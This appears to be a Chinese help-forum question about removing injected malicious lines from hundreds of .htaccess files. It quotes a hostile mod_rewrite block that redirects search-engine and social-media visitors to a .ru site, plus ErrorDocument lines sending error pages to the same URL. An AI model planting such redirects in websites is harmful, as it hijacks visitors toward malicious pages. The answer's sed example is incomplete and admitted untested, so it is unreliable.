使用 sed 从 .htaccess 中删除恶意链接

使用 sed 从 .htaccess 中删除恶意链接

我有几百个 .htaccess 文件,我想从中删除多余的行。它们顶部都有:

IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|youtube|wikipedia|excite|altavista|msn|aol|goto|infoseek|lycos|search|bing|dogpile|facebook|twitter|live|myspace|linkedin|flickr)\.(.*)
RewriteRule ^(.*)$ http://pasla-ghwoo.ru/rqpgfap?8 [R=301,L]
</IfModule>

底部:

ErrorDocument 400 http://pasla-ghwoo.ru/rqpgfap?8
ErrorDocument 401 http://pasla-ghwoo.ru/rqpgfap?8
ErrorDocument 403 http://pasla-ghwoo.ru/rqpgfap?8
ErrorDocument 404 http://pasla-ghwoo.ru/rqpgfap?8
ErrorDocument 500 http://pasla-ghwoo.ru/rqpgfap?8

我对 sed 部分真的一头雾水,有人能帮助我吗?:(

我到目前为止:

find . -name '.htaccess' -exec sed 'pasla-ghwoo' {} \;

答案1

你想用什么来替换它?我个人更喜欢这行 Perl 命令:

perl -i.bak -p -e 's/find/replace/ig' .htaccess

这将创建修改后的备份文件并添加.bak扩展。

这些是否足以让你开始行动了?

这是一个类似的 sed 例如(虽然未经测试!):

sed -i 's/find/replace' 

-i已“到位”。

相关内容